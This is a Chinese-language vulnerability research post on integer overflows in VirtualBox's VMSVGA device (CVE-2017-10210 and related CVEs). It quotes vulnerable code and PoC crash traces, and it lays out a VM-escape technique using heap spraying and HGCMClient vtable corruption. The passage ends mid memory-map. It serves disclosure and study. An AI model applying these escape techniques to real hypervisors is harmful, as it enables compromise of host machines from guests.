导语:VirtualBox模拟VMware虚拟SVGA设备,其接口的详细信息和编程模型可从网络上公开获取。
概述
VirtualBox模拟VMware虚拟SVGA设备,其接口的详细信息和编程模型可从网络上公开获取。另外,在《VMware托管I/O架构上的GPU虚拟化》论文中,对VMware SVGA设备架构进行了很好的描述。此外,Kostya Kortchinsky发布的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,详细介绍了如何利用VMware SVGA设备中的漏洞进行VM逃逸。
Oracle在2015年一月的重要补丁更新中,修复了VMSVGA设备所存在的一系列问题(CVE-2014-6595、CVE-2014-6588、CVE-2014-6589、CVE-2014-6590、CVE-2015-0427)。在文章《通过硬件仿真攻击虚拟机管理程序》中,提供了有关VirtualBox中VMSVGA漏洞的一些细节。
值得注意的是,由于VMSVGA设备在默认情况下未启用,所以受影响的用户可能非常有限。但是,用户可以根据VBoxManage文档中的说明启用该功能。
VBoxManage modifyvm VMNAME --graphicscontroller vmsvga
Oracle在2017年7月和2017年10月的重要补丁更新中,修复了VMSVGA漏洞CVE-2017-10210、CVE-2017-10236、CVE-2017-10239、CVE-2017-10240、CVE-2017-10392、CVE-2017-10407和CVE-2017-10408,这些漏洞是由我发现并报告的。另外,来自360 Gear团队的李强也同时独立发现了CVE-2017-10210、CVE-2017-10236、CVE-2017-10239和CVE-2017-10240这四个漏洞。在这篇博客文章中,详细介绍了其中的一些问题,并演示如何利用这些漏洞实现虚拟机逃逸。
我们在macOS环境的VirtualBox 5.1.22版本中进行了分析。Linux版本的VirtualBox不支持VMSVGA 3D功能,这一功能仅在Windows和macOS中可用。
vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中验证validating face[0].numMipLevel过程存在整数溢出漏洞(CVE-2017-10210)
int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format, SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount, SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes) { . . . /* cFaces must be 6 for a cubemap and 1 otherwise. */ AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER); AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER); . . . }
在使用“surfaceflag” SVGA3D_SURFACE_CUBEMAP时,“cFaces”值可以设置为6。然后,可以将“face[0].numMipLevels”设置为cFaces * face[0].numMipLevels wraps的计算结果。“cMipLevels”取决于为SVGA_3D_CMD_SURFACE_DEFINE命令传递的SVGA3dSize结构的数量,例如2 == 6 * 0x2aaaaaab。
用于其它多个命令中的face[0].numMipLevels值是导致内存损坏的元凶。在CVE-2017-10210的PoC中,使用了SVGA_3D_CMD_SURFACE_DESTROY命令来演示内存损坏,最终导致free()无效。
int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid) { . . . if (pSurface->pMipmapLevels) { for (uint32_t face=0; face < pSurface->cFaces; face++) { for (uint32_t i=0; i < pSurface->faces[face].numMipLevels; i++) { uint32_t idx = i + face * pSurface->faces[0].numMipLevels; if (pSurface->pMipmapLevels[idx].pSurfaceData) RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData); } } RTMemFree(pSurface->pMipmapLevels); } . . . }
[email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc [sudo] password for renorobert: poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE... poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...
[lldbinit] process attach --pid 57984 [-] warning: get_frame() failed. Is the target binary started? Process 57984 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10 Target 0: (VirtualBoxVM) stopped. Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM". Architecture set to: x86_64h-apple-macosx. [lldbinit] c Process 57984 resuming -----------------------------------------------------------------------------------------------------------------------[regs] RAX: 0x0000000000000000 RBX: 0x000070000E657000 RBP: 0x000070000E656CC0 RSP: 0x000070000E656C88 o d I t s z a P c RDI: 0x000000000000DB0B RSI: 0x0000000000000006 RDX: 0x0000000000000000 RCX: 0x000070000E656C88 RIP: 0x00007FFF5F9B7B66 R8: 0x0000000000000000 R9: 0x0000000000000000 R10: 0x0000000000000000 R11: 0x0000000000000206 R12: 0x000000000000DB0B R13: 0x0000000000000004 R14: 0x0000000000000006 R15: 0x000000000000002D CS: 0007 FS: 0000 GS: 0000 Jump is taken (c = 0) -----------------------------------------------------------------------------------------------------------------------[flow] -----------------------------------------------------------------------------------------------------------------------[code] __pthread_kill @ libsystem_kernel.dylib: 0x7fff5f9b7b66: 73 08 jae 0x7fff5f9b7b70 ; <+20> 0x7fff5f9b7b68: 48 89 c7 mov rdi, rax 0x7fff5f9b7b6b: e9 79 6f ff ff jmp 0x7fff5f9aeae9 ; cerror_nocancel 0x7fff5f9b7b70: c3 ret 0x7fff5f9b7b71: 90 nop 0x7fff5f9b7b72: 90 nop 0x7fff5f9b7b73: 90 nop __pthread_markcancel @ libsystem_kernel.dylib: 0x7fff5f9b7b74: b8 4c 01 00 02 mov eax, 0x200014c ----------------------------------------------------------------------------------------------------------------------------- Process 57984 stopped * thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10 Target 0: (VirtualBoxVM) stopped. [lldbinit] bt * thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT * frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10 frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333 frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127 frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521 frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305 frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682 frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115 frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44 frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194 frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340 frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377 frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13 [lldbinit]
vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中未验证paMipLevelSizes导致整数溢出漏洞(CVE-2017-10236)
/* Allocate buffer to hold the surface data until we can move it into a D3D object */ for (uint32_t i = 0; i < cMipLevels; ++i) { PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i]; . . . pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width; pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth; pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface); AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY); }
在这里,由于“paMipLevelSizes”值完全由Guest控制,因此“cbSurfacePitch”和“cbSurface”的计算可能会产生溢出。由于“cbSurface”的计算存在问题,进一步导致RTMemAllocZ最终分配的缓冲区大小比实际需要的要少。在其他SVGA命令中使用“pSurfaceData”期间,可能会发生越界读/写的情况。针对该漏洞提供的PoC仅演示了无效分配,可以在调试器中观察到这一点,不会触发任何崩溃。但是,这一漏洞随后将会在完整的VM逃逸漏洞利用中使用到。
vmsvga3dSurfaceDMA(DevVGA-SVGA3d.cpp)中多个整数溢出漏洞(CVE-2017-10240和CVE-2017-10408)
int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer, uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes) { . . . for (unsigned i = 0; i < cCopyBoxes; i++) { . . . if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width) paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x; if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height) paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y; if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth) paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z; if ( !paBoxes[i].w || !paBoxes[i].h || !paBoxes[i].d || paBoxes[i].x > pMipLevel->size.width || paBoxes[i].y > pMipLevel->size.height || paBoxes[i].z > pMipLevel->size.depth) { . . . continue; } uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch; AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR); . . . }
在这一漏洞中,首先对于“pMipLevel”的“paBoxes”验证可能会发生溢出,从而导致绕过问题。由于整数溢出,因此也可以绕过针对“pMipLevel-> cbSurface”的“uDestOffset”验证。我们在多个位置都发现了类似的代码模式。“uDestOffset”用于在调用vmsvgaGMRTransfer期间计算“pBufferStart”参数,所以验证失效将导致SVGA3dTransferType – SVGA3D_WRITE_HOST_VRAM或SVGA3D_READ_HOST_VRAM的值所对应位置发生越界读取或越界写入。该漏洞的PoC将访问内存中pMipLevel->pSurfaceData偏移约4GB的位置,从而导致崩溃。可以通过堆喷射并分配可访问内存区域的方法来利用这一漏洞。
[email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess [email protected]:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc [sudo] password for renorobert:
[lldbinit] process attach --pid 14518 [-] warning: get_frame() failed. Is the target binary started? Process 14518 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10 Target 0: (VirtualBoxVM) stopped. Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM". Architecture set to: x86_64h-apple-macosx. [lldbinit] c Process 14518 resuming -----------------------------------------------------------------------------------------------------------------------[regs] RAX: 0x00007F976656CEB8 RBX: 0x0000000111C1C000 RBP: 0x00007000066CAC10 RSP: 0x00007000066CAC10 o d I t s Z a P c RDI: 0x00007F976656CEB8 RSI: 0x0000000111C1C000 RDX: 0x0000000000000000 RCX: 0x4141414141414141 RIP: 0x00007FFF5FB78FD0 R8: 0x4141414141414141 R9: 0x0000000000000000 R10: 0x00000000FFFFFFFE R11: 0x00007F9654950EB8 R12: 0x0000000000000000 R13: 0x0000000000000001 R14: 0x00007F976656CEB8 R15: 0x0000000000000001 CS: 002B FS: 0000 GS: 0000 -----------------------------------------------------------------------------------------------------------------------[flow] -----------------------------------------------------------------------------------------------------------------------[code] _platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib: 0x7fff5fb78fd0: 48 89 0f mov qword ptr [rdi], rcx 0x7fff5fb78fd3: 4c 89 04 17 mov qword ptr [rdi + rdx], r8 0x7fff5fb78fd7: 5d pop rbp 0x7fff5fb78fd8: c3 ret 0x7fff5fb78fd9: 48 83 c2 08 add rdx, 0x8 0x7fff5fb78fdd: 74 25 je 0x7fff5fb79004 ; <+228> 0x7fff5fb78fdf: 4d 31 c0 xor r8, r8 0x7fff5fb78fe2: 42 8a 0c 06 mov cl, byte ptr [rsi + r8] ----------------------------------------------------------------------------------------------------------------------------- Process 14518 stopped * thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8) frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176 Target 0: (VirtualBoxVM) stopped. [lldbinit] vmmap -a 0x00007F976656CEB8 [lldbinit] bt * thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8) * frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176 frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671 frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861 frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897 frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115 frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44 frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194 frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340 frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377 frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13 [lldbinit]
vmsvgaGMRTransfer(DevVGA-SVGA.cpp)整数溢出漏洞(CVE-2017-10407)
int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch, SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight) { . . . AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size, ("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n", src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size), VERR_INVALID_PARAMETER); uint8_t *pSrc = pThis->CTX_SUFF(vram_ptr) + offSrc; . . . }
其中,“offSrc”验证可能会发生溢出,并且可以绕过对“vram_size”的检查,这将会导致与VRAM相关的越界读取或越界写入。vmsvgaGMRTransfer可以由多个SVGA命令使用,例如SVGA_CMD_BLIT_GMRFB_TO_SCREEN、SVGA_3D_CMD_SURFACE_DMA、SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN等。
在SVGA_CMD_BLIT_GMRFB_TO_SCREEN中,针对vram_size验证“offsetDest”。因此,写入的位置只能从VRAM缓冲区内开始。但是,“offsetSource”最终可以在受控制的偏移量处指向超出VRAM缓冲区的位置,从而可靠地提供信息泄露漏洞。
case SVGA_CMD_BLIT_GMRFB_TO_SCREEN: { . . . unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y; unsigned offsetDest = (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top; unsigned cbCopyWidth = (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8; AssertBreak(offsetDest < pThis->vram_size); rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);
该漏洞提供的PoC使用SVGA_CMD_BLIT_GMRFB_TO_SCREEN和SVGA_3D_CMD_SURFACE_DMA演示了相对于VRAM的OOB访问。
漏洞利用
在上述的多个漏洞中,提供了许多组合和原语。我选择使用vmsvga3dSurfaceDefine和vmsvga3dSurfaceDMA中的漏洞来演示完整的VM逃逸:
int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format, SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount, SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes) { . . . /* Allocate buffer to hold the surface data until we can move it into a D3D object */ for (uint32_t i = 0; i < cMipLevels; ++i) { PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i]; . . . pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width; pMipmapLevel->cbSurface = pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth; pMipmapLevel->pSurfaceData = RTMemAllocZ(pMipmapLevel->cbSurface); AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY); } . . . }
vmsvga3dSurfaceDefine()中存在的漏洞,允许为pMipmapLevel->size.width、pMipmapLevel->size.height和pMipmapLevel->size.depth设置非常大的值,但最终只需要分配所需大小的堆块。这一点对于进一步利用vmsvga3dSurfaceDMA()中的整数溢出漏洞来说非常有帮助。
int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer, uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes) { . . . for (unsigned i = 0; i < cCopyBoxes; i++) { . . . /* Apparently we're supposed to clip it (gmr test sample) */ if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width) paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x; if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height) paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y; if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth) paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z; if ( !paBoxes[i].w || !paBoxes[i].h || !paBoxes[i].d || paBoxes[i].x > pMipLevel->size.width || paBoxes[i].y > pMipLevel->size.height || paBoxes[i].z > pMipLevel->size.depth) { . . . continue; } . . . uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch; AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR); . . . rc = vmsvgaGMRTransfer(pThis, transfer, . . . paBoxes[i].w * pSurface->cbBlock, paBoxes[i].d * paBoxes[i].h); . . . }
由于pMipLevel的宽度、高度和深度在vmsvga3dSurfaceDefine()中被设置为非常大的值,因此可以绕过涉及paBoxes的第一次检查。后续,这些值将用于计算“uDestOffset”,可以设置为任意值。
uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
但是,其后有一个验证:
AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
举例来说:
uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) <= pMipLevel->cbSurface
在这里,可以将较高值设置为uDestOffset或(paBoxes[i].w * pSurface->cbBlock)或(paBoxes[i].h * paBoxes[i].d)来绕过验证。在vmsvgaGMRTransfer()中,(paBoxes[i].w * pSurface->cbBlock)和(paBoxes[i].h * paBoxes[i].d)用于计算memcpy()调用的大小参数。为了使大小调整为一个合理的值,我们将uDestOffset设置为一个较大的值,从而允许读取/写入一个距离表面分配约4GB的偏移量。
为了利用这个漏洞,有两个问题需要解决:
1、从表面分配偏移约4GB的内存;
2、在这个巨大偏移量的分配内存中,应该存在指针损坏,从而导致代码执行。
在macOS中,共有三种类型的分配: Tiny、Small和Large。Tiny堆分配的地址范围是0x00007fxxxxx00000,而Large分配则占用另一个地址范围0x00000001xxxxx000。上述二者堆分配中的任何一个都能够进行漏洞利用。
我选择的是Tiny类型堆分配,主要因为,我知道Tiny类型的分配中具有指向vtable和其他内存分配的指针,而这样的指针可能会由于代码执行而被破坏。但是,使用Tiny类型的分配来喷射(Spray)整个4GB内存是一个非常缓慢的过程。macOS支持最大127KB的Small分配。因此,我们的思路是尽可能多地分配Small块,以加快堆喷射的进度,并减少Tiny块堆喷射的数量。
分配Tiny块
对于Tiny块,我将目标放在针对HGCM(Host-Guest通信管理器)执行的分配上。关于HGCM的详细信息,可以参考:https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf
针对这个漏洞,我习惯使用HGCM连接对象,然后进行喷射。要对HGCM连接进行初始化,需要使用VMM虚拟PCI设备进行。设备的BAR0保存用于HGCM通信的I/O端口地址。无论何时启动HGCM连接,都会在内存中分配大小为72字节的HGCMClient对象,并返回客户端ID。下面是HGCMClient对象的示例:
typedef struct _AVLULNodeCore { AVLULKEY Key; /** Key value. */ struct _AVLULNodeCore *pLeft; /** Pointer to left leaf node. */ struct _AVLULNodeCore *pRight; /** Pointer to right leaf node. */ unsigned char uchHeight; /** Height of this tree: max(height(left), height(right)) + 1 */ } AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE; typedef struct _ObjectAVLCore { AVLULNODECORE AvlCore; void *pSelf; // type HGCMObject } ObjectAVLCore; struct HGCMClient { void *vptr_HGCMObject; uint32_t m_cRefs; uint32_t m_enmObjType; // HGCMOBJ_TYPE enum ObjectAVLCore m_core; void *pService; // type HGCMService void *pvData; uint64_t padding; } HGCMClient;
HGCMClient的创建和分配由src/VBox/Main/src-client/HGCM.cpp中的HGCMService::CreateAndConnectClient来完成。这些客户端对象使用AVL树进行维护,其中的节点包含客户端ID,并且还包含指向对象本身的指针。在漏洞利用期间,我们需要避免破坏AVL树的元数据,以防止在查找或插入AVL树节点期间发生任何崩溃。此外,我们可能会损坏HGCMClient的vtable,以获得RIP控制。
HGCMClient对象的删除发生在HGCM断开连接期间,由HGCMService::DisconnectClient进行处理,其中使用到了损坏的vtable。
int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService) { . . . HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG); AssertRelease(pMsg); pMsg->u32ClientId = u32ClientId; hgcmObjDereference(pMsg); // use of corrupted vtable on deletion . . . }
分配Small块
为了能更高效地填充4GB,与Tiny块相比,Small块显然是更好的选择。SVGA_3D_CMD_SURFACE_DEFINE命令可用于分配任意大小的块。
int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format, SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount, SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes) { . . . AssertReturn(sid < SVGA3D_MAX_SURFACE_IDS, VERR_INVALID_PARAMETER); . . . pSurface = pState->papSurfaces[sid]; /* If one already exists with this id, then destroy it now. */ if (pSurface->id != SVGA3D_INVALID_ID) vmsvga3dSurfaceDestroy(pThis, sid); . . . }
vmsvga3dSurfaceDefine()允许最多SVGA3D_MAX_SURFACE_IDS (32 * 1024)个唯一的表面分配。针对大小为127KB的表面,这样的限制足以让我们填充约4GB。由于页是分配给堆的较低地址,因此最开始需要分配HGCMClient对象,然后才是表面分配。在进行堆喷射后,内存布局如下图所示:
喷射前的内存布局
Stack 00007000060c1000-0000700006143000 thread 29 MALLOC_TINY 00007ff16b400000-00007ff16b500000 [ 1024K 684K 684K 316K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16b500000-00007ff16b700000 [ 2048K 792K 792K 1256K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16b700000-00007ff16b800000 [ 1024K 840K 840K 184K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff16b800000-00007ff16c06d000 [ 8628K 1332K 1332K 2160K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty) 00007ff16c06d000-00007ff16c06e000 [ 4K 4K 4K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff16c06e000-00007ff16d800000 [ 23.6M 2600K 2600K 4288K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16d800000-00007ff16d900000 [ 1024K 484K 484K 540K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16d900000-00007ff16da00000 [ 1024K 364K 364K 660K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff16da00000-00007ff16dc00000 [ 2048K 20K 20K 12K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff16dc00000-00007ff16de00000 [ 2048K 20K 20K 24K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY (empty) 00007ff16de00000-00007ff16df00000 [ 1024K 8K 8K 8K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY 00007ff16df00000-00007ff16e000000 [ 1024K 448K 448K 492K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty) 00007ff16e000000-00007ff16e800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_SMALL 00007ff16e800000-00007ff16f000000 [ 8192K 8K 8K 240K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_SMALL (empty) 00007ff16f000000-00007ff170000000 [ 16.0M 8K 8K 172K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY (empty) 00007ff170000000-00007ff170100000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff170100000-00007ff170200000 [ 1024K 368K 368K 60K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY (empty) 00007ff170200000-00007ff170300000 [ 1024K 8K 8K 4K] rw-/rwx SM=COW QuartzCore_0x10cc46000 MALLOC_TINY 00007ff170300000-00007ff170400000 [ 1024K 4K 4K 20K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_TINY 00007ff170400000-00007ff170600000 [ 2048K 84K 84K 948K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff170800000-00007ff171000000 [ 8192K 4K 4K 96K] rw-/rwx SM=COW GFXMallocZone_0x107072000 MALLOC_SMALL 00007ff171000000-00007ff171800000 [ 8192K 4K 4K 8K] rw-/rwx SM=COW QuartzCore_0x10cc46000 STACK GUARD 00007ffee50b0000-00007ffee88b0000 [ 56.0M 0K 0K 0K] ---/rwx SM=NUL stack guard for thread 0
喷射后的内存布局
Stack 000070000624a000-00007000062cc000 [ 520K 12K 12K 0K] rw-/rwx SM=PRV thread 35 MALLOC_SMALL 00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff08b400000-00007ff08b500000 [ 1024K 244K 244K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff0c2800000-00007ff0c3000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff0ec800000-00007ff0ed000000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M 2588K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff0fb400000-00007ff0fb500000 [ 1024K 184K 184K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff12b400000-00007ff12b500000 [ 1024K 936K 936K 4K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff139000000-00007ff139800000 [ 8192K 8032K 8032K 0K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff139800000-00007ff13b000000 [ 24.0M 23.6M 23.6M 0K] rw-/rwx SM=COW DefaultMallocZone_0x106b7d000 MALLOC_TINY 00007ff13b400000-00007ff13b500000 [ 1024K 1016K 1016K 8K] rw-/rwx SM=PRV DefaultMallocZone_0x106b7d000 MALLOC_SMALL 00007ff13b800000-00007ff16b000000 [760.0M 745.9M 745.9M 0K] 